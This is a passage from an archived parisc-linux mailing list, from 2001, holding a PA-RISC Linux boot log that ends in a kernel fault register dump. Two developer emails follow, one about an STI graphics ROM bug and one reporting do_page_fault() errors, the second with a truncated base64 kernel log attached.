                                        <parm>=<baud>.<length>.<parity>
                                        <GRAPH>=graphics|graphics_<1|2>
                                        <parm>=<monitor>)
Path [keyboard [hil|ps2]]              Set/show boot keyboard path
Pim [hpmc|toc|lpmc]                    Show PIM info
Search [ipl] [scsi|eisa]               Show potential boot devices
Search [ipl] [lan [install]]           Show potential boot LAN devices
Secure [on|off]                        Set/show security mode
----------------------------------------------------------------------------
BOOT_ADMIN> bo pri ipl



Attempting to boot.

Loading Initial Program Loader


IPL successfully loaded


Booting
palo ipl 0.93 root@gandalf Sun Jul  8 12:19:37 CEST 2001
0/vmlinux32 2918801 bytes @ 0x48000
Partition Start(MB) End(MB) Id Type
1               1      22   f0 Palo
2              23      64   83 ext2
3              65     194   82 swap
4             195    2046   83 ext2
Current command line:
2/vmlinux-test2 root=/dev/sda4 HOME=/ TERM=linux console=ttyS0
 0: 2/vmlinux-test2
 1: root=/dev/sda4
 2: HOME=/
 3: TERM=linux
 4: console=ttyS0


Edit which field?
(or 'b' to boot with this command line)? b
Command line: 'root=/dev/sda4 HOME=/ TERM=linux console=ttyS0'

Kernel: partition 2 file /vmlinux-test2
ext2 block size 1024
ext2_mount(partition 2) returns 0
ext2_open(/vmlinux-test2) = 3
ELF32 executable
Entry 001000b0 first 00100000 n 5
Segment 0 load 00100000 size 1694148 mediaptr 0x1000
Segment 1 load 0029e000 size 275544 mediaptr 0x19f000
Segment 2 load 002e4000 size 368640 mediaptr 0x1e3000
Segment 3 load 00340000 size 32768 mediaptr 0x23d000
Segment 4 load 0037dacc size 87008 mediaptr 0x245acc
branching to kernel entry point 0x001000b0
Set default PSW W bit to 0
Linux version 2.4.9-pa25 (ruediger@gandalf) (gcc version 3.0.2 20010825 (Debian prerelease)) #4 Die Sep 25 17:23:52 CEST 2001
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Older Legacy Box
model	000060b0 00000481 00000000 00000000 77b661a7 00000000 00000004 00000072 00000072
vers	0000000b
CPUID	vers 0 rev 0
model	9000/715
Total Memory: 128 Mb
pagetable_init
On node 0 totalpages: 32768
zone(0): 32768 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/sda4 HOME=/ TERM=linux console=ttyS0
Console: colour dummy device 160x64
Calibrating delay loop... 99.73 BogoMIPS
Memory: 126164k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
Mount-cache hash table entries: 2048 (order: 2, 16384 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
POSIX conformance testing by UNIFIX
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf4000000, versions 0x4, 0x0, 0x77
2. Mirage GSC Builtin Graphics (10) at 0xf8000000, versions 0x13, 0x0, 0x85
3. Mirage Core BA (11) at 0xf0100000, versions 0x29, 0x0, 0x81
4. Mirage Core SCSI (10) at 0xf0106000, versions 0x29, 0x0, 0x82
5. Mirage Core LAN (802.3) (10) at 0xf0107000, versions 0x29, 0x0, 0x8a
6. Mirage Core RS-232 (10) at 0xf0105000, versions 0x29, 0x0, 0x8c
7. Mirage Core Centronics (10) at 0xf0102000, versions 0x29, 0x0, 0x74
8. Mirage Audio (10) at 0xf0104000, versions 0x29, 0x0, 0x7b
9. Mirage Core PC Floppy (10) at 0xf010a000, versions 0x29, 0x0, 0x83
10. Mirage Core PS/2 Port (10) at 0xf0108000, versions 0x29, 0x0, 0x84
11. Mirage Core PS/2 Port (10) at 0xf0108100, versions 0x29, 0x0, 0x84
12. Mirage Wax BA (11) at 0xf0200000, versions 0x13, 0x0, 0x8e
13. Mirage 100 Wax HIL (10) at 0xf0201000, versions 0x13, 0x0, 0x73
14. Mirage Wax RS-232 (10) at 0xf0202000, versions 0x13, 0x0, 0x8c
15. Mirage 100 (0) at 0xfffbe000, versions 0x60b, 0x0, 0x4
16. Mirage 100 (1) at 0xfffbf000, versions 0x4b, 0x0, 0x9
That's a total of 16 devices.
CPU(s): 1 x PA7100LC (PCX-L) at 100.000000 MHz
iosapic_init()
pdc_pci_irt_size: -1
Lasi version 0 at 0xf0100000 found.
LED display at f00e0000 registered
Wax at 0xf0200000 found.
Wax: HIL Keyboard-NMI registered.
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
VFS: Diskquotas version dquot_6.4.0 initialized
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0202800 (irq = 121) is a 16550A
Lasi PS/2 receive buffer timeout
PS/2 keyboard port at 0xf0108000 (irq 69) found, no device attached.
Lasi PS/2 transmit buffer timeout
PS/2 psaux port at 0xf0108100 (irq 69) found, no device attached.
Found HIL at 0xf0201000, IRQ 126
HIL: no keyboard present.
Warning : device (10, 0x13, 0x0, 0x73) NOT claimed by HIL
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=16
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0107000, IRQ 87
eth0: 82596 at 0xf0107000, 08 00 09 7A DC 08 IRQ 87.
82596.c $Revision: 1.22 $
SCSI subsystem driver Revision: 1.00
sim700: Configuring 53c710 (SCSI-ID 7) at f0106100, IRQ 86, options 0
scsi0: Revision 0x2
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
  Vendor: SEAGATE   Model: ST32430N          Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
Lasi Harmony Audio rev. 18 at 0xf0104000, using IRQ 82
sticonsole_init: searching for STI ROMs
Trying STI ROM at f0025000, hpa at f4000000
STI word mode ROM at f0025000, hpa=f4000000
<7>selected 8x16 fb-font VGA8x16
STI word mode ROM, id 2b4ded6d-40a00499, conforms to spec rev. 8.04
 supports 13 monitors
 font start 000037d4
 region list 000037c0
 init_graph 00000808
 alternate code type 0
region #0: phys f0025000, virt f0025000, len=24kB, btlb=1, sysonly=0, cache=0, last=0
region #1: phys f5000000, virt f5000000, len=16384kB, btlb=1, sysonly=0, cache=0, last=0
region #2: phys f4100000, virt f4100000, len=2560kB, btlb=1, sysonly=0, cache=0, last=0
region #3: phys f4380000, virt f4380000, len=4kB, btlb=0, sysonly=1, cache=0, last=1

GRs

0x00000000
0xF4300000
0xF4100000
0x00000001
0xF5000000
0x00000003
0x00000001
0xF0025328
0x0000000D
0xF034B958
0xF4300000
0x00000000
0x00080BEF
0x00010000
0x00000005
0x00000032
0x00000000
0x00283BAB
0x00000001
0x00000000
0x00000000
0xF0025000
0x00000500
0x0B00007D
0x00000001
0x00000000
0x00283BAB
0x1029E010
0x00000001
0xF034B958
0x0034BB98
0x000F93E8

CRs

0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000000C0
0x0000001F
0x00000000
0x00000000
0x00106800
0xFFFFFFFF
0x402169B7
0x00000000
0x000F8944
0xB3202000
0x00000000
0x000F8964
0x00007F00
0x80000000
0x002BB000
0x002BB000
0x00A2848F
0x0900DEEE
0xAAAAAAAA
0xF0002000
0x105EC000
0x10340000

SRs

0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000

OTHER

0x00000000
0x000F8948
0x20000000
0x9E000004
0x00000000
0x00000000
0x00000000
0x00310000
0x00000000
0x00000000
0x00000000
0xF034B9D0
0xFFFBE000
0x00000000
0x00000082
0x2C1048E6
0x3BB0B040



WARNING! Stack pointer and cr30 do not correspond!

Dumping Stack from 0034a000 to 0034bb98:
WARNING! Stack pointer and cr30 do not correspond!

Dumping Stack from 102a0000 to 102a14c0:
0000 00000000 00000020 00000020 00020000 61402000 00000000 00000020 00001000
0020 00000001 00020000 61402000 00000000 00000020 00001000 00000001 00000078
0040 000d2000 00000000 00000000 00000001 00000000 00000000 00000001 00000001
0060 00000078 000c2000 00000000 00000000 00000001 00000000 00000000 00000001
0080 00000001 00000000 105ebf60 00000000 726f6f74 3d2f6465 762f7364 61342048
00a0 4f4d453d 2f205445 524d3d6c 696e7578 20636f6e 736f6c65 3d747479 53300000
00c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0100 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
01a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
01c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
01e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0200 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0220 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0240 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0260 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0280 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
02a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
02c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
02e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0300 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0320 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0340 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0360 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0380 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
03a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
03c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
03e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0400 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0420 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0440 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0460 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0480 00000000 00000000 00000000 00000000 726f6f74 3d2f6465 762f7364 61340048
04a0 4f4d453d 2f005445 524d3d6c 696e7578 00636f6e 736f6c65 3d747479 53300000
04c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
04e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0500 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0520 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0540 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0560 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0580 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
05a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
05c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
05e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0600 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0620 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0640 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0660 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0680 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
06a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
06c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
06e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0700 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0720 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0740 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0760 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0780 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
07a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
07c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
07e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0800 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0820 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0840 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0860 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0880 00000000 00000000 00000000 00000000 10101efc 10102798 00000000 00000000
08a0 10275ba4 00000000 00000000 1021aa30 00000000 00000000 10295ec0 105961a0
08c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
08e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0900 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0920 00000000 00000000 00000000 00000000 00000000 00000000 00000000 1021aa30
0940 00000000 00000000 10295f84 10596260 00000000 00000000 00000000 00000000
0960 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0980 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
09a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
09c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
09e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0a00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0a20 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0a40 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0a60 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0a80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0aa0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0ac0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0ae0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0b00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0b20 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0b40 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0b60 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0b80 00000000 00000000 00000000 00000000 00000000 10103444 10102a34 10103460
0ba0 10103460 102ae0c0 10275bac 00000003 00000020 102a0894 00000000 102a0b94
0bc0 105961e0 105962a0 00000000 00000000 00000000 00000000 00000000 00000000
0be0 00000000 00000000 00000000 00000000 00000000 00000000 105e20a0 00000002
0c00 00000009 10103588 10103a80 10103c84 10103d08 10103d70 10103df8 10103e8c
0c20 10103f10 10103f64 10103588 10103fbc 10103fc4 10103d08 10103d70 10103df8
0c40 10103e8c 10103f10 10103f64 102a0c04 10276100 1027610c 10276114 1027611c
0c60 10276128 10276130 1027611c 1027613c 10276150 10276160 10276168 1027617c
0c80 10276188 10276194 102761b0 00000000 00000000 00000000 00000000 00000000
0ca0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0cc0 00000000 00000000 00000000 102761d0 102761e0 102761f0 102761f4 10276204
0ce0 1027620c 1027621c 10276224 10276234 1027623c 10276250 10276258 1027626c
0d00 10276274 10276284 10276288 10276284 10276298 10276284 102762a8 10276284
0d20 00000002 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0d40 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0d60 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0d80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0da0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0dc0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0de0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0e00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0e20 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0e40 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0e60 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0e80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0ea0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0ec0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0ee0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0f00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0f20 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0f40 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0f60 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0f80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0fa0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0fc0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0fe0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
1000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
1020 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
1040 00000000 00000000 00000000 002ad000 00000000 00000000 00000000 00000000
1060 00000000 00000000 00000000 0010c580 00000000 00000000 00000000 00000000
1080 00007f00 f4300000 f4100000 00000001 f5000000 00000003 00000001 f0025328
10a0 0000000d f034b958 f4300000 00000000 00080bef 00010000 00000005 00000032
10c0 00000000 00283bab 00000001 00000000 00000000 f0025000 00000500 0b00007d
10e0 00000001 00000000 00283bab 1029e010 00000001 f034b958 0034bb98 000f93e8
1100 00000082 2c1048e6 3bb0b040 00000000 00000000 00000000 00000000 00000000
1120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
1140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
1160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
1180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
11a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
11c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
11e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
1200 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
1220 00000000 00000000 000f8944 000f8948 00000000 00000000 00000000 00000000
1240 00000000 0000001f b3202000 00000000 000f8964 00000000 00000000 00000000
1260 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
1280 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
12a0 00000000 00000000 00000000 10107750 00000000 00000000 00000000 00000000
12c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
12e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
1300 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
1320 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
1340 00000000 00000000 0000001f 002a5000 002bb000 f0012870 00000000 00000000
1360 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
1380 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
13a0 00000000 00000000 00000000 1010206c 00000000 00000000 00000000 00000000
13c0 00000000 00000001 00000000 102a1080 00000000 00000000 00000000 f0002840
13e0 00310000 00000030 f034b958 0000000d f0002848 00000000 00000001 00000000
1400 102a1080 00000000 00000000 00000000 00000000 00000000 00000000 00000000
1420 00000000 00000000 00000000 101025c8 00000000 00000000 00000000 00000000
1440 102758e8 00000001 102a1080 102a1080 00000008 0000001f 102a1080 10275af0
1460 00000000 00000000 00000000 101024e4 00000000 00000000 00000000 00000000
1480 102a1080 f034b9d0 00000000 00000000 00000060 0034bb98 0034a000 10275ad0
14a0 0000000d f0002848 10340000 101023f0 0034bb98 0034a000 00000000 00000000

Kernel Fault: Code=15 regs=102a14c0 (Addr=0034a004)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001110
r0-3     00000000 1034d9e1 101025c8 0034a000
r4-7     0034bb98 10275800 00000000 f0002848
r8-11    0000000d f034b958 00000030 00310000
r12-15   f0002840 00000000 00000000 f034b9d0
r16-19   102a1080 00283bab 00000082 000000ff
r20-23   0001aa11 f0105800 01c9c380 00000060
r24-27   00000001 00000001 102b10c8 1029e010
r28-31   0000002a 00000000 102a14c0 00000000
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101023fc 10102400
 IIR: 0c681097    ISR: 00000000  IOR: 0034a004
 CPU:        0   CR30: 105ec000 CR31: 10340000
 ORIG_R28: 102a1080

--------------010101030300000003010504--





From - Thu Nov 08 21:19:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Additional Address cleanup
Date: Tue, 25 Sep 2001 21:00:35 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20010925210035.A22586@solo.franken.de>
References: <20010921104838.A2049@beavis.ybsoft.com> <3BAF13BC.3090302@hrzpub.tu-darmstadt.de> <20010924215918.A23464@beavis.ybsoft.com> <3BB0BFF9.50708@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620514 26102 80.91.229.3 (22 Nov 2014 01:41:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:54 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 25 13:07:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD90519F9.dip.t-dialin.net [217.5.25.249])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF5A3482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Sep 2001 13:07:56 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id f8PJ0Zg22629;
	Tue, 25 Sep 2001 21:00:35 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3BB0BFF9.50708@hrzpub.tu-darmstadt.de>; from rscholz@hrzpub.tu-darmstadt.de on Tue, Sep 25, 2001 at 07:33:45PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12291

On Tue, Sep 25, 2001 at 07:33:45PM +0200, Rdiger Scholz wrote:
> Ryan Bradetich wrote:
> 
> >
> >First I am assuming this worked before you tested this patch....
> >
> No ;-) It crashes, when the kernel tries to initialize the first 
> graphics card (Coral), during STICALL (...) in function sti_init_graph...

bug in the sti code. It doesn't use the sti rom from the card, but from
the onboard sti rom. I've played with my 715/100 with an extra HCRX and
had the same problem. I've disabled the HCRX by removing the connection
between mainboard and HCRX, then the kernel from the 0.9.2 crashed after
starting the init from the install ramdisk (Kernel Fault: Code=15) :-(

Hopefully I'll get some sti hacking done during the upcoming Linux
Hackermeeting in Oldenburg coming weekend.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:19:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <charles_slivkoff@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] do_page_fault() on 712/60 running 2.4.9-pa22
Date: Tue, 25 Sep 2001 17:57:51 -0400
Organization: HP Response Center
Lines: 119
Approved: news@gmane.org
Message-ID: <3BB0FDDF.6F8CDDD7@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------19476CE09D44B19A939AE487"
X-Trace: ger.gmane.org 1416620515 26108 80.91.229.3 (22 Nov 2014 01:41:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 25 15:58:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78251482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Sep 2001 15:58:01 -0600 (MDT)
Original-Received: from i3107at1.atl.hp.com (i3107at1.atl.hp.com [15.45.88.34])
	by atlrel6.hp.com (Postfix) with ESMTP id A2F571F5BB
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Sep 2001 17:57:59 -0400 (EDT)
Original-Received: from hp.com (cas1@wahoo.atl.hp.com [15.50.81.145])
	by i3107at1.atl.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id RAA29321
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Sep 2001 17:58:13 -0400 (EDT)
Original-Sender: cas1@i3107at1.atl.hp.com
X-Mailer: Mozilla 4.78 [en] (X11; U; HP-UX B.11.00 9000/778)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12292

This is a multi-part message in MIME format.
--------------19476CE09D44B19A939AE487
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello all,

I've seen this several times before (& posted to the list as well), but
can't figure out what might be causing it or how to duplicate it. I
noticed today that ~ 3:30 AM EDT, several do_page_fault() errors were
reported (kern.log attached).

This is running 2.4.9-pa22 kernel which I build a few days ago from CVS.
Earlier, I had thought that the problem might be related to swapping,
but couldn't duplicate the problem at will. 

# cat /proc/version 
Linux version 2.4.9-pa22 (root@dlarry) (gcc version 3.0.2 20010825
(Debian prerelease)) #7 Fri Sep 21 16:37:05 EDT 2001

Can anyone offer a suggestion as to how to investigate this further?
Would updating glibc help?

Thanks,

-chuck
--------------19476CE09D44B19A939AE487
Content-Type: application/octet-stream;
 name="kern.log"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="kern.log"

U2VwIDI1IDAzOjI4OjI2IGRsYXJyeSBrZXJuZWw6IApTZXAgMjUgMDM6Mjg6MjYgZGxhcnJ5
IGtlcm5lbDogZG9fcGFnZV9mYXVsdCgpIHBpZD0xNzg0IGNvbW1hbmQ9J2FwYWNoZScgdHlw
ZT03IGFkZHJlc3M9MHg0MDNkM2UyZgpTZXAgMjUgMDM6Mjg6MjYgZGxhcnJ5IGtlcm5lbDog
dm1fc3RhcnQgPSAweDQwM2QzMDAwLCB2bV9lbmQgPSAweDQwM2Q1MDAwClNlcCAyNSAwMzoy
ODoyNiBkbGFycnkga2VybmVsOiAKU2VwIDI1IDAzOjI4OjI2IGRsYXJyeSBrZXJuZWw6ICAg
ICAgWVpydldFU1RITE5YQkNWTWNiY2JjYmNiT0dGUlFQREkKU2VwIDI1IDAzOjI4OjI2IGRs
YXJyeSBrZXJuZWw6IFBTVzogMDAwMDAwMDAwMDAwMDExMDAwMDAwMDAwMDAwMDExMTEKU2Vw
IDI1IDAzOjI4OjI2IGRsYXJyeSBrZXJuZWw6IHIwLTNeSSAwMDAwMDAwMCA0MDAyODMxMCA0
MDNkNDk3MyBmYWYwMDcwMApTZXAgMjUgMDM6Mjg6MjYgZGxhcnJ5IGtlcm5lbDogcjQtN15J
IDQwM2U0Zjk4IGZhZjAwN2I0IDAwMDk1ZWIwIDAwMDAwMDc4ClNlcCAyNSAwMzoyODoyNiBk
bGFycnkga2VybmVsOiByOC0xMV5JIDAwMDAwMDBjIGZhZjAwNzg0IDAwMDAwMDAyIDAwMDAw
MDE5ClNlcCAyNSAwMzoyODoyNiBkbGFycnkga2VybmVsOiByMTItMTVeSSBmYWYwMDdiNCBm
ZmZmZmY5YyA0MDAyODQ4NCAwMDA4MzliMApTZXAgMjUgMDM6Mjg6MjYgZGxhcnJ5IGtlcm5l
bDogcjE2LTE5XkkgMDAwMDAwYzggMDAwNjEwMDAgMDAwODExYjAgNDAzZTRmOTgKU2VwIDI1
IDAzOjI4OjI2IGRsYXJyeSBrZXJuZWw6IHIyMC0yM15JIDAwMDAwMDAxIDQwM2U0Zjk4IDQw
M2Q0OTU4IDQwMDI4MzE4ClNlcCAyNSAwMzoyODoyNiBkbGFycnkga2VybmVsOiByMjQtMjde
SSA0MDAyODQ4NCA0MDNkNDk1OCAwMDA5NWViMCAwMDA3YjliMApTZXAgMjUgMDM6Mjg6MjYg
ZGxhcnJ5IGtlcm5lbDogcjI4LTMxXkkgNDAwMWI0MGEgMDAwMDAwMDAgZmFmMDA4NDAgNDAw
